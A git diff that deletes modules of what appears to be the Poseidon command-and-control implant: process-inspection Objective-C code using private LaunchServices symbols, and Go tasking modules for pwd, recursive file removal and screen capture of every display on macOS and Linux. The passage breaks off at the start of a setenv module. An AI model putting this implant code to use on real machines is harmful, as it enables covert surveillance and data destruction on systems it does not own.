- return NO;
-}
-
-- (pid_t)pid
-{
- /**
- * I'm not sure
- * 1) if PID is likely to change during a process lifetime and
- * 2) if we should ask LS for a PID every time this method gets called;
- *
- * @todo: make sure about both points above.
- */
- [self _fetchNewDataFromLaunchServicesWithAtLeastOneKey: kLSPIDKey];
-
- return _pid;
-}
-
-- (NSString *)bundleID
-{
- if (!_bundle_id) {
- [self _fetchNewDataFromLaunchServicesWithAtLeastOneKey: kCFBundleIdentifierKey];
- if (!_bundle_id && _executable_path) {
- /* Maybe we have a bundle even if Launch Services said no? */
- NSString *path = [_executable_path stringByDeletingLastPathComponent]; // remove executable name
- path = [path stringByReplacingOccurrencesOfString: @"/Contents/MacOS" withString: @""];
- NSBundle *lasthope = [NSBundle bundleWithPath: path];
- _bundle_id = [lasthope bundleIdentifier];
-
- /* Let's also fix the bundle path */
- if (!_bundle_path) {
- _bundle_path = path;
- }
- }
- }
-
- return _bundle_id;
-}
-
-- (NSURL *)bundleURL
-{
- if (!self.bundlePath) {
- return (nil);
- }
-
- return [NSURL fileURLWithPath: self.bundlePath];
-}
-
-- (NSString *)bundlePath
-{
- if (!_bundle_path) {
- [self _fetchNewDataFromLaunchServicesWithAtLeastOneKey: kLSBundlePathKey];
- }
-
- return _bundle_path;
-}
-
-- (NSURL *)executableURL
-{
- if (!self.executablePath) {
- return (nil);
- }
- return [NSURL fileURLWithPath: self.executablePath];
-}
-
-- (NSString *)executablePath
-{
- if (!_executable_path) {
- /* First we ask LaunchServies API */
- [self _fetchNewDataFromLaunchServicesWithAtLeastOneKey: kLSExecutablePathKey];
- /* If it fails, ask for argv[0] */
- if (!_executable_path) {
- _executable_path = [self.launchArguments objectAtIndex: 0];
- }
- /* If argv[0] doesn't exist (which is unlikely to happen, but anyway), use `proc_pidpath()`*/
- if (!_executable_path) {
- char *buf = malloc(sizeof(*buf) * kSandboxContainerPathBufferSize);
- int err = proc_pidpath(self.pid, buf, kSandboxContainerPathBufferSize);
- if (err) {
- _executable_path = [NSString stringWithUTF8String: buf];
- }
- free(buf);
- }
- }
-
- return _executable_path;
-}
-
-- (uid_t)ownerUserID
-{
- if (_uid == -1) {
- pid_t current_pid = self.pid;
- struct kinfo_proc process_info;
- int ctl_args[4] = {
- CTL_KERN, KERN_PROC, KERN_PROC_PID, current_pid
- };
- size_t info_size = sizeof(process_info);
- int err = sysctl(ctl_args, 4, &process_info, &info_size, NULL, 0);
- if (err == KERN_SUCCESS && info_size > 0) {
- _uid = process_info.kp_eproc.e_ucred.cr_uid;
- }
- }
- return _uid;
-}
-
-
-- (void)_requestOwnerNames
-{
- if (_owner_user_name && _owner_full_user_name) {
- return;
- }
-
- struct passwd user_data, *tmp = NULL;
- uid_t user_id = [self ownerUserID];
- if (user_id == -1) {
- return;
- }
- char* buffer = malloc(sizeof(*buffer) * kPasswdBufferSize);
- int err = getpwuid_r(user_id, &user_data, buffer, kPasswdBufferSize, &tmp);
- if (err != KERN_SUCCESS) {
- free(buffer);
- return;
- }
-
- _owner_full_user_name = [[NSString stringWithUTF8String: user_data.pw_gecos] copy];
- _owner_user_name = [[NSString stringWithUTF8String: user_data.pw_name] copy];
-
- free(buffer);
-}
-
-- (NSString *)ownerUserName
-{
- [self _requestOwnerNames];
- return (_owner_user_name);
-}
-
-- (NSString *)ownerFullUserName
-{
- [self _requestOwnerNames];
- return (_owner_full_user_name);
-}
-
-- (NSDictionary *)ownerGroups
-{
- NSDictionary *result = nil;
-
- int ngroups = NGROUPS_MAX;
- int *gr_bytes = malloc(sizeof(*gr_bytes) * ngroups);
- const char *user_name = [self.ownerUserName UTF8String];
- if (!user_name) {
- return result;
- }
- getgrouplist(user_name, 12, gr_bytes, &ngroups);
- if (ngroups == 0) {
- /* will it ever happen? */
- return result;
- }
-
- NSMutableDictionary *tmp_dict = [[NSMutableDictionary alloc] initWithCapacity: ngroups];
- for (int i = 0; i < ngroups; i++) {
- struct group *some_group = getgrgid(gr_bytes[i]);
- if (!some_group) { continue; }
- [tmp_dict setObject: [NSString stringWithUTF8String: some_group->gr_name]
- forKey: [NSNumber numberWithUnsignedInt: gr_bytes[i]]];
- }
-
- result = [NSDictionary dictionaryWithDictionary: tmp_dict];
- free(gr_bytes);
- return result;
-}
-
-
-#pragma mark
-#pragma mark Inspecting process
-#pragma mark
-
-
-- (BOOL)_requestProcessArgumentsAndEnvironment
-{
- /* Max size of arguments (KERN_ARGMAX) */
- int request_argmax[2] = {
- CTL_KERN, KERN_ARGMAX
- };
-
- int argmax = 0;
- size_t size = sizeof(argmax);
- int err = sysctl(request_argmax, 2, &argmax, &size, NULL, 0);
- if (err != KERN_SUCCESS) {
- //NSLog(@"[%d] sysctl failed in method %s", __LINE__, __PRETTY_FUNCTION__);
- return (NO);
- }
-
- /* Request arguments pointer */
- uint8_t *arguments = malloc(argmax);
- if (!arguments) {
- return (NO);
- }
-
- pid_t current_pid = self.pid;
- int request_args[3] = {
- CTL_KERN, KERN_PROCARGS2, current_pid
- };
- size = argmax;
- err = sysctl(request_args, 3, arguments, &size, NULL, 0);
- if (err != KERN_SUCCESS) {
- free(arguments);
- //NSLog(@"[%d] sysctl failed in method %s", __LINE__, __PRETTY_FUNCTION__);
- return (NO);
- }
-
- int argc = *arguments;
- int counter = 0;
- uint8_t *arguments_ptr = arguments;
- // skip `argc`
- arguments += sizeof(argc);
- // skip `exec_path` which is a duplicate of argv[0]
- arguments += strlen((const char *)arguments);
-
- if (argc <= 0) {
- free(arguments_ptr);
- //NSLog(@"argc <= 0; weird :(");
- return (NO);
- }
-
- NSMutableArray *tmp_argv = [[NSMutableArray alloc] initWithCapacity: argc];
- NSMutableDictionary *tmp_env = [[NSMutableDictionary alloc] init];
- for (int i = 0; i < size;) {
- if ((*(arguments+i)) == '\0') {
- i++;
- }
- const char *arg = (const char *)(arguments+i);
- if (strlen(arg) > 0) {
- if (counter < argc) {
- [tmp_argv addObject: [NSString stringWithUTF8String: arg]];
-
- } else {
- /* Parse env vars */
- NSArray *parts = [[NSString stringWithUTF8String: arg]
- componentsSeparatedByString: @"="];
- /**
- * Sometimes environment variable pair contains only the key, so
- * let's handle it correctly.
- */
- NSString *value = (parts.count > 1) ? parts[1] : @"";
- [tmp_env setObject: [value stringByAddingPercentEscapesUsingEncoding: NSUTF8StringEncoding]
- forKey: parts[0]];
- }
- ++counter;
- i += strlen(arg);
- } else {
- i++;
- }
- }
- if (_launch_args) {
- //[_launch_args release];
- }
- _launch_args = [[NSArray alloc] initWithArray: tmp_argv copyItems: NO];
- //[tmp_argv release];
-
- if (_env_variables) {
- //[_env_variables release];
- }
- _env_variables = [[NSDictionary alloc] initWithDictionary: tmp_env];
- //[tmp_env release];
-
- free(arguments_ptr);
-
- return (YES);
-}
-
-- (NSArray *)launchArguments
-{
- if (!_launch_args) {
- [self _requestProcessArgumentsAndEnvironment];
- }
-
- return (_launch_args);
-}
-
-- (NSDictionary *)environmentVariables
-{
- if (!_env_variables) {
- [self _requestProcessArgumentsAndEnvironment];
- }
-
- return (_env_variables);
-}
-
-
-#pragma mark
-#pragma mark Sandbox
-#pragma mark
-
-/**
- * Returns YES if a proccess is living in Sandbox environment.
- *
- * NOTE: this may return wrong result if the process was sandboxed by user, not by OS X.
- * Use `_isSandboxedByUser` to make sure you get corrent results;
- *
- * NOTE: this method also returns YES for any process with *invalid* PID, so it may be
- * better to check if `-sandboxContainerPath` is not equal to `nil` to find out that
- * the process is actually sandboxed.
- */
-- (BOOL)isSandboxedByOSX
-{
- static pid_t old_pid = -1;
- pid_t new_pid = self.pid;
- if (old_pid != new_pid) {
- old_pid = new_pid;
- _sandboxed = sandbox_check(self.pid, NULL, SANDBOX_FILTER_NONE);
- }
-
- return (_sandboxed);
-}
-
-- (NSString *)sandboxContainerPath
-{
- if (!_sandbox_container_path) {
- char *buf = malloc(sizeof(*buf) * kSandboxContainerPathBufferSize);
- int err = sandbox_container_path_for_pid(_pid, buf, kSandboxContainerPathBufferSize);
- if (err == KERN_SUCCESS && strlen(buf) > 0) {
- _sandbox_container_path = [NSString stringWithUTF8String: buf];
- }
-
- free(buf);
- }
-
- return (_sandbox_container_path);
-}
-
-- (NSURL *)sandboxContainerURL
-{
- return [NSURL fileURLWithPath: self.sandboxContainerPath];
-}
-
-- (BOOL)_checkSandboxOperation: (const char *)operation forItemAtPath: (NSString *)item_path
-{
- BOOL result = NO;
- if (strlen(operation) == 0 || item_path.length == 0) {
- return result;
- }
-
- result = (KERN_SUCCESS == sandbox_check(self.pid, operation,
- (SANDBOX_FILTER_PATH | SANDBOX_CHECK_NO_REPORT), [item_path UTF8String]));
-
- return (result);
-}
-
-/* @todo: "job-creation", anyone? */
-
-- (BOOL)canReadFileAtPath: (NSString *)file_path
-{
- return [self _checkSandboxOperation: "file-read-data" forItemAtPath: file_path];
-}
-
-- (BOOL)canReadFileAtURL: (NSURL *)file_url
-{
- return [self canReadFileAtPath: [file_url path]];
-}
-
-- (BOOL)canWriteToFileAtPath: (NSString *)file_path
-{
- return [self _checkSandboxOperation: "file-write-data" forItemAtPath: file_path];
-}
-
-- (BOOL)canWriteToFileAtURL: (NSURL *)file_url
-{
- return [self canWriteToFileAtPath: [file_url path]];
-}
-
-/**
- * Enable or disable(?) custom sanbox for the process.
- */
-#pragma mark Custom Sandboxing
-
-/**
- * to be implemented
- * @return {int} [description]
- */
-- (int)_enableSandbox
-{
- if ([self isSandboxedByOSX]) {
- return KERN_FAILURE;
- }
- if ([self _isSandboxedByUser]) {
- return KERN_SUCCESS;
- }
- return KERN_FAILURE;
-}
-
-/**
- * to be implemented
- * @return {int} [description]
- */
-- (BOOL)_isSandboxedByUser
-{
- return NO;
-}
-/**
- * to be implemented
- * @return {int} [description]
- */
-- (int)_disableSandbox
-{
- return KERN_FAILURE;
-}
-
-
-
-#pragma mark
-#pragma mark LaunchServices Magic
-#pragma mark
-
-- (void)_fetchNewDataFromLaunchServicesWithAtLeastOneKey: (CFStringRef)key
-{
- [lock lock];
- if (!LSCopyApplicationInformation) {
- if ( ! [self _findLSPrivateSymbols]) {
- goto done;
- }
- }
-
- CFArrayRef request_array = NULL;
- if (key) {
- request_array = CFArrayCreate(NULL, (const void **)key, 1, NULL);
- }
-
- CFDictionaryRef ls_update = LSCopyApplicationInformation(kLaunchServicesMagicConstant, LSASNCreateWithPid(NULL, _pid), request_array);
- if (!ls_update) {
- goto done;
- }
-
- [self _updateWithLSDictionary: ls_update];
- CFRelease(ls_update);
-
-done: {
- [lock unlock];
- return;
-}
-}
-
-- (void)_updateWithLSDictionary: (CFDictionaryRef)dictionary
-{
- CFTypeRef tmp = NULL;
- if (CFDictionaryGetValueIfPresent(dictionary, kLSPIDKey, &tmp)) {
- CFNumberGetValue(tmp, kCFNumberIntType, &_pid);
- }
- tmp = NULL;
- if (CFDictionaryGetValueIfPresent(dictionary, kLSDisplayNameKey, &tmp)) {
- //if (_process_name) [_process_name release];
- _process_name = [NSString stringWithString: CFBridgingRelease(tmp)];
- }
- tmp = NULL;
- if (CFDictionaryGetValueIfPresent(dictionary, kCFBundleIdentifierKey, &tmp)) {
- //if (_bundle_id) [_bundle_id release];
- _bundle_id = [NSString stringWithString: CFBridgingRelease(tmp)];
- }
- tmp = NULL;
- if (CFDictionaryGetValueIfPresent(dictionary, kLSBundlePathKey, &tmp)) {
- //if (_bundle_path) [_bundle_path release];
- _bundle_path = [NSString stringWithString: CFBridgingRelease(tmp)];
- }
- tmp = NULL;
- if (CFDictionaryGetValueIfPresent(dictionary, kLSExecutablePathKey, &tmp)) {
- //if (_executable_path) [_executable_path release];
- _executable_path = [NSString stringWithString: CFBridgingRelease(tmp)];
- }
-}
-
-
-- (BOOL)_findLSPrivateSymbols
-{
-
- CFBundleRef launch_services_bundle = CFBundleGetBundleWithIdentifier(kLaunchServicesBundleID);
- if (!launch_services_bundle) { return NO; }
-
- LSCopyApplicationInformation = CFBundleGetFunctionPointerForName(launch_services_bundle, RDSymbolNameStr(LSCopyApplicationInformation));
- if (!LSCopyApplicationInformation) { return NO; }
- // NSLog(@"LSCopyApplicationInformation = %p", LSCopyApplicationInformation);
-
- LSASNCreateWithPid = CFBundleGetFunctionPointerForName(launch_services_bundle, RDSymbolNameStr(LSASNCreateWithPid));
- if (!LSASNCreateWithPid) { return NO; }
- // NSLog(@"LSASNCreateWithPid = %p", LSASNCreateWithPid);
-
- LSSetApplicationInformation = CFBundleGetFunctionPointerForName(launch_services_bundle, RDSymbolNameStr(LSSetApplicationInformation));
- if (!LSSetApplicationInformation) { return NO; }
-
- kLSDisplayNameKey = *(CFStringRef *)CFBundleGetDataPointerForName(launch_services_bundle, RDSymbolNameStr(kLSDisplayNameKey));
- if (!kLSDisplayNameKey) { return NO; }
- // NSLog(@"kLSDisplayNameKey = %p (%@)", kLSDisplayNameKey, (id)kLSDisplayNameKey);
-
- kLSPIDKey = *(CFStringRef *)CFBundleGetDataPointerForName(launch_services_bundle, RDSymbolNameStr(kLSPIDKey));
- if (!kLSPIDKey) { return NO; }
- // NSLog(@"kLSPIDKey = %p (%@)", kLSPIDKey, (id)kLSPIDKey);
-
- kLSBundlePathKey = *(CFStringRef *)CFBundleGetDataPointerForName(launch_services_bundle, RDSymbolNameStr(kLSBundlePathKey));
- if (!kLSBundlePathKey) { return NO; }
- // NSLog(@"kLSBundlePathKey = %p (%@)", kLSBundlePathKey, (id)kLSBundlePathKey);
-
- kLSExecutablePathKey = *(CFStringRef *)CFBundleGetDataPointerForName(launch_services_bundle, RDSymbolNameStr(kLSExecutablePathKey));
- if (!kLSExecutablePathKey) { return NO; }
- // NSLog(@"kLSExecutablePathKey = %p (%@)", kLSExecutablePathKey, (id)kLSExecutablePathKey);
-
-
- /******************************************************/
- return YES;
-}
-@end
diff --git a/Payload_Types/poseidon/agent_code/pwd/pwd.go b/Payload_Types/poseidon/agent_code/pwd/pwd.go
deleted file mode 100755
index ee9c8dd3b..000000000
--- a/Payload_Types/poseidon/agent_code/pwd/pwd.go
+++ /dev/null
@@ -1,39 +0,0 @@
-package pwd
-
-import (
- "os"
-
- "pkg/utils/structs"
- "sync"
- "pkg/profiles"
- "encoding/json"
-)
-
-var mu sync.Mutex
-
-//Run - interface method that retrieves a process list
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
-
- dir, err := os.Getwd()
-
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
- msg.Completed = true
- msg.UserOutput = dir
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/rm/rm.go b/Payload_Types/poseidon/agent_code/rm/rm.go
deleted file mode 100755
index ec31aa63e..000000000
--- a/Payload_Types/poseidon/agent_code/rm/rm.go
+++ /dev/null
@@ -1,67 +0,0 @@
-package rm
-
-import (
- "fmt"
- "os"
- "path/filepath"
- "pkg/utils/structs"
- "sync"
- "pkg/profiles"
- "encoding/json"
- "strings"
-)
-
-var mu sync.Mutex
-
-//Run - interface method that retrieves a process list
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
-
- files := make([]string, 0)
- if strings.Contains(task.Params, "*"){
- // this means we're trying to glob rm a few things
- potentialFiles, err := filepath.Glob(task.Params)
- if err != nil{
- msg.UserOutput = "Failed to un-glob that path"
- msg.Completed = true
- msg.Status = "error"
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
- for _, s := range potentialFiles {
- files = append(files, s)
- }
- }else{
- files = append(files, task.Params) // just add our one file
- }
- // now we have our complete list of files/folder to remove
- removedFiles := make([]structs.RmFiles, len(files))
- outputMsg := "Removing files:\n"
- for i, s := range files{
- if _, err := os.Stat(s); os.IsNotExist(err) {
- outputMsg = outputMsg + fmt.Sprintf("File '%s' does not exist.\n", s)
- continue
- }
- err := os.RemoveAll(s)
- if err != nil {
- outputMsg = outputMsg + err.Error()
- continue
- }
- abspath, _ := filepath.Abs(s)
- removedFiles[i].Path = abspath
- removedFiles[i].Host = ""
- }
- outputMsg = outputMsg + "Done"
- msg.Completed = true
- msg.UserOutput = outputMsg
- msg.RemovedFiles = removedFiles
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/screencapture/screencapture.go b/Payload_Types/poseidon/agent_code/screencapture/screencapture.go
deleted file mode 100755
index 89e407013..000000000
--- a/Payload_Types/poseidon/agent_code/screencapture/screencapture.go
+++ /dev/null
@@ -1,44 +0,0 @@
-package screencapture
-
-import (
- "encoding/json"
-
- "pkg/utils/structs"
- "sync"
- "pkg/profiles"
-)
-
-var mu sync.Mutex
-
-//ScreenShot - interface for holding screenshot data
-type ScreenShot interface {
- Monitor() int
- Data() []byte
-}
-
-//Run - function used to obtain screenshots
-func Run(task structs.Task, ch chan []ScreenShot) {
- result, err := getscreenshot()
- msg := structs.Response{}
- msg.TaskID = task.TaskID
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
-
- ch <- result
- /*for i := 0; i < len(result); i++ {
- profiles.Profile.SendFileChunks(task, result[i].Data(), ch)
- time.Sleep(time.Duration(profiles.Profile.SleepInterval()) * time.Second)
- }*/
-
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/screencapture/screencapture_darwin.go b/Payload_Types/poseidon/agent_code/screencapture/screencapture_darwin.go
deleted file mode 100755
index 0b839c0c8..000000000
--- a/Payload_Types/poseidon/agent_code/screencapture/screencapture_darwin.go
+++ /dev/null
@@ -1,279 +0,0 @@
-// +build darwin
-
-package screencapture
-
-/*
-#cgo LDFLAGS: -framework CoreGraphics -framework CoreFoundation
-#include
-void* CompatCGDisplayCreateImageForRect(CGDirectDisplayID display, CGRect rect) {
- return CGDisplayCreateImageForRect(display, rect);
-}
-void CompatCGImageRelease(void* image) {
- CGImageRelease(image);
-}
-void* CompatCGImageCreateCopyWithColorSpace(void* image, CGColorSpaceRef space) {
- return CGImageCreateCopyWithColorSpace((CGImageRef)image, space);
-}
-void CompatCGContextDrawImage(CGContextRef c, CGRect rect, void* image) {
- CGContextDrawImage(c, rect, (CGImageRef)image);
-}
-*/
-import "C"
-import (
- "bytes"
- "errors"
- "image"
- "image/png"
- "unsafe"
-)
-
-//DarwinScreenshot - struct for screenshot data
-type DarwinScreenshot struct {
- MonitorIndex int
- ScreenshotData []byte
-}
-
-//Monitor - Darwin subclass method to return the monitor index
-func (d *DarwinScreenshot) Monitor() int {
- return d.MonitorIndex
-}
-
-//Data - Darwin subclass method to return the raw png data
-func (d *DarwinScreenshot) Data() []byte {
- return d.ScreenshotData
-}
-
-func getscreenshot() ([]ScreenShot, error) {
- n := NumActiveDisplays()
- screens := make([]ScreenShot, n)
- for i := 0; i < n; i++ {
-
- bounds := GetDisplayBounds(i)
- img, err := CaptureRect(bounds)
- if err != nil {
- return nil, err
- }
-
- buf := new(bytes.Buffer)
- err = png.Encode(buf, img)
-
- if err != nil {
- return nil, err
- }
-
- screens[i] = &DarwinScreenshot{
- MonitorIndex: i,
- ScreenshotData: buf.Bytes(),
- }
- }
-
- return screens, nil
-}
-
-//CreateImage Create an RGBA Image structure in memory
-func CreateImage(rect image.Rectangle) (img *image.RGBA, e error) {
- img = nil
- e = errors.New("Cannot create image.RGBA")
-
- defer func() {
- err := recover()
- if err == nil {
- e = nil
- }
- }()
- // image.NewRGBA may panic if rect is too large.
- img = image.NewRGBA(rect)
-
- return img, e
-}
-
-//Capture a screenshot
-func Capture(x, y, width, height int) (*image.RGBA, error) {
- if width <= 0 || height <= 0 {
- return nil, errors.New("width or height should be > 0")
- }
-
- rect := image.Rect(0, 0, width, height)
- img, err := CreateImage(rect)
- if err != nil {
- return nil, err
- }
-
- // cg: CoreGraphics coordinate (origin: lower-left corner of primary display, x-axis: rightward, y-axis: upward)
- // win: Windows coordinate (origin: upper-left corner of primary display, x-axis: rightward, y-axis: downward)
- // di: Display local coordinate (origin: upper-left corner of the display, x-axis: rightward, y-axis: downward)
-
- cgMainDisplayBounds := getCoreGraphicsCoordinateOfDisplay(C.CGMainDisplayID())
-
- winBottomLeft := C.CGPointMake(C.CGFloat(x), C.CGFloat(y+height))
- cgBottomLeft := getCoreGraphicsCoordinateFromWindowsCoordinate(winBottomLeft, cgMainDisplayBounds)
- cgCaptureBounds := C.CGRectMake(cgBottomLeft.x, cgBottomLeft.y, C.CGFloat(width), C.CGFloat(height))
-
- ids := activeDisplayList()
-
- ctx := createBitmapContext(width, height, (*C.uint32_t)(unsafe.Pointer(&img.Pix[0])), img.Stride)
- if ctx == 0 {
- return nil, errors.New("cannot create bitmap context")
- }
-
- colorSpace := createColorspace()
- if colorSpace == 0 {
- return nil, errors.New("cannot create colorspace")
- }
- defer C.CGColorSpaceRelease(colorSpace)
-
- for _, id := range ids {
- cgBounds := getCoreGraphicsCoordinateOfDisplay(id)
- cgIntersect := C.CGRectIntersection(cgBounds, cgCaptureBounds)
- if C.CGRectIsNull(cgIntersect) {
- continue
- }
- if cgIntersect.size.width <= 0 || cgIntersect.size.height <= 0 {
- continue
- }
-
- // CGDisplayCreateImageForRect potentially fail in case width/height is odd number.
- if int(cgIntersect.size.width)%2 != 0 {
- cgIntersect.size.width = C.CGFloat(int(cgIntersect.size.width) + 1)
- }
- if int(cgIntersect.size.height)%2 != 0 {
- cgIntersect.size.height = C.CGFloat(int(cgIntersect.size.height) + 1)
- }
-
- diIntersectDisplayLocal := C.CGRectMake(cgIntersect.origin.x-cgBounds.origin.x,
- cgBounds.origin.y+cgBounds.size.height-(cgIntersect.origin.y+cgIntersect.size.height),
- cgIntersect.size.width, cgIntersect.size.height)
- captured := C.CompatCGDisplayCreateImageForRect(id, diIntersectDisplayLocal)
- if captured == nil {
- return nil, errors.New("cannot capture display")
- }
- defer C.CompatCGImageRelease(captured)
-
- image := C.CompatCGImageCreateCopyWithColorSpace(captured, colorSpace)
- if image == nil {
- return nil, errors.New("failed copying captured image")
- }
- defer C.CompatCGImageRelease(image)
-
- cgDrawRect := C.CGRectMake(cgIntersect.origin.x-cgCaptureBounds.origin.x, cgIntersect.origin.y-cgCaptureBounds.origin.y,
- cgIntersect.size.width, cgIntersect.size.height)
- C.CompatCGContextDrawImage(ctx, cgDrawRect, image)
- }
-
- i := 0
- for iy := 0; iy < height; iy++ {
- j := i
- for ix := 0; ix < width; ix++ {
- // ARGB => RGBA, and set A to 255
- img.Pix[j], img.Pix[j+1], img.Pix[j+2], img.Pix[j+3] = img.Pix[j+1], img.Pix[j+2], img.Pix[j+3], 255
- j += 4
- }
- i += img.Stride
- }
-
- return img, nil
-}
-
-//NumActiveDisplays get the number of active displays
-func NumActiveDisplays() int {
- var count C.uint32_t = 0
- if C.CGGetActiveDisplayList(0, nil, &count) == C.kCGErrorSuccess {
- return int(count)
- } else {
- return 0
- }
-}
-
-//GetDisplayBounds Get the display bounds
-func GetDisplayBounds(displayIndex int) image.Rectangle {
- id := getDisplayID(displayIndex)
- main := C.CGMainDisplayID()
-
- var rect image.Rectangle
-
- bounds := getCoreGraphicsCoordinateOfDisplay(id)
- rect.Min.X = int(bounds.origin.x)
- if main == id {
- rect.Min.Y = 0
- } else {
- mainBounds := getCoreGraphicsCoordinateOfDisplay(main)
- mainHeight := mainBounds.size.height
- rect.Min.Y = int(mainHeight - (bounds.origin.y + bounds.size.height))
- }
- rect.Max.X = rect.Min.X + int(bounds.size.width)
- rect.Max.Y = rect.Min.Y + int(bounds.size.height)
-
- return rect
-}
-
-//getDisplayId Get the display ID
-func getDisplayID(displayIndex int) C.CGDirectDisplayID {
- main := C.CGMainDisplayID()
- if displayIndex == 0 {
- return main
- } else {
- n := NumActiveDisplays()
- ids := make([]C.CGDirectDisplayID, n)
- if C.CGGetActiveDisplayList(C.uint32_t(n), (*C.CGDirectDisplayID)(unsafe.Pointer(&ids[0])), nil) != C.kCGErrorSuccess {
- return 0
- }
- index := 0
- for i := 0; i < n; i++ {
- if ids[i] == main {
- continue
- }
- index++
- if index == displayIndex {
- return ids[i]
- }
- }
- }
-
- return 0
-}
-
-func getCoreGraphicsCoordinateOfDisplay(id C.CGDirectDisplayID) C.CGRect {
- main := C.CGDisplayBounds(C.CGMainDisplayID())
- r := C.CGDisplayBounds(id)
- return C.CGRectMake(r.origin.x, -r.origin.y-r.size.height+main.size.height,
- r.size.width, r.size.height)
-}
-
-func getCoreGraphicsCoordinateFromWindowsCoordinate(p C.CGPoint, mainDisplayBounds C.CGRect) C.CGPoint {
- return C.CGPointMake(p.x, mainDisplayBounds.size.height-p.y)
-}
-
-func createBitmapContext(width int, height int, data *C.uint32_t, bytesPerRow int) C.CGContextRef {
- colorSpace := createColorspace()
- if colorSpace == 0 {
- return 0
- }
- defer C.CGColorSpaceRelease(colorSpace)
-
- return C.CGBitmapContextCreate(unsafe.Pointer(data),
- C.size_t(width),
- C.size_t(height),
- 8, // bits per component
- C.size_t(bytesPerRow),
- colorSpace,
- C.kCGImageAlphaNoneSkipFirst)
-}
-
-func createColorspace() C.CGColorSpaceRef {
- return C.CGColorSpaceCreateWithName(C.kCGColorSpaceSRGB)
-}
-
-func activeDisplayList() []C.CGDirectDisplayID {
- count := C.uint32_t(NumActiveDisplays())
- ret := make([]C.CGDirectDisplayID, count)
- if count > 0 && C.CGGetActiveDisplayList(count, (*C.CGDirectDisplayID)(unsafe.Pointer(&ret[0])), nil) == C.kCGErrorSuccess {
- return ret
- } else {
- return make([]C.CGDirectDisplayID, 0)
- }
-}
-
-// CaptureRect captures specified region of desktop.
-func CaptureRect(rect image.Rectangle) (*image.RGBA, error) {
- return Capture(rect.Min.X, rect.Min.Y, rect.Dx(), rect.Dy())
-}
diff --git a/Payload_Types/poseidon/agent_code/screencapture/screencapture_linux.go b/Payload_Types/poseidon/agent_code/screencapture/screencapture_linux.go
deleted file mode 100755
index 5f6f4c6a5..000000000
--- a/Payload_Types/poseidon/agent_code/screencapture/screencapture_linux.go
+++ /dev/null
@@ -1,65 +0,0 @@
-// +build linux
-
-package screencapture
-
-import (
- "bytes"
- "errors"
- //"image"
- "image/png"
-
- s "github.com/kbinani/screenshot"
-)
-
-//LinuxScreenshot - struct for screenshot data
-type LinuxScreenshot struct {
- MonitorIndex int
- ScreenshotData []byte
-}
-
-//Monitor - Darwin subclass method to return the monitor index
-func (d *LinuxScreenshot) Monitor() int {
- return d.MonitorIndex
-}
-
-//Data - Darwin subclass method to return the raw png data
-func (d *LinuxScreenshot) Data() []byte {
- return d.ScreenshotData
-}
-
-func getscreenshot() ([]ScreenShot, error) {
- n := s.NumActiveDisplays()
- screens := make([]ScreenShot, n)
- if n <= 0 {
- return nil, errors.New("Active display not found")
- }
-
- //var all image.Rectangle = image.Rect(0, 0, 0, 0)
-
- for i := 0; i < n; i++ {
- bounds := s.GetDisplayBounds(i)
- //all = bounds.Union(all)
-
- img, err := s.CaptureRect(bounds)
- if err != nil {
- panic(err)
- }
- // fileName := fmt.Sprintf("%d_%dx%d.png", i, bounds.Dx(), bounds.Dy())
- // save(img, fileName)
-
- buf := new(bytes.Buffer)
- err = png.Encode(buf, img)
-
- if err != nil {
- return nil, err
- }
-
- screens[i] = &LinuxScreenshot{
- MonitorIndex: i,
- ScreenshotData: buf.Bytes(),
- }
- // fmt.Printf("#%d : %v \"%s\"\n", i, bounds, fileName)
- }
-
- return screens, nil
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/screencapture/screenshotlicense b/Payload_Types/poseidon/agent_code/screencapture/screenshotlicense
deleted file mode 100755
index 93e078baf..000000000
--- a/Payload_Types/poseidon/agent_code/screencapture/screenshotlicense
+++ /dev/null
@@ -1,21 +0,0 @@
-MIT License
-
-Copyright (c) 2016 kbinani
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/setenv/setenv.go b/Payload_Types/poseidon/agent_code/setenv/setenv.go
deleted file mode 100755
index 4e81f7499..000000000
--- a/Payload_Types/poseidon/agent_code/setenv/setenv.go
+++ /dev/null
@@ -1,52 +0,0 @@
-package setenv
-
-import (
- "fmt"
- "os"
- "strings"
- "encoding/json"
- "pkg/utils/structs"
- "sync"
- "pkg/profiles"
-)
-
-var mu sync.Mutex
-
-//Run - Function that executes the shell command
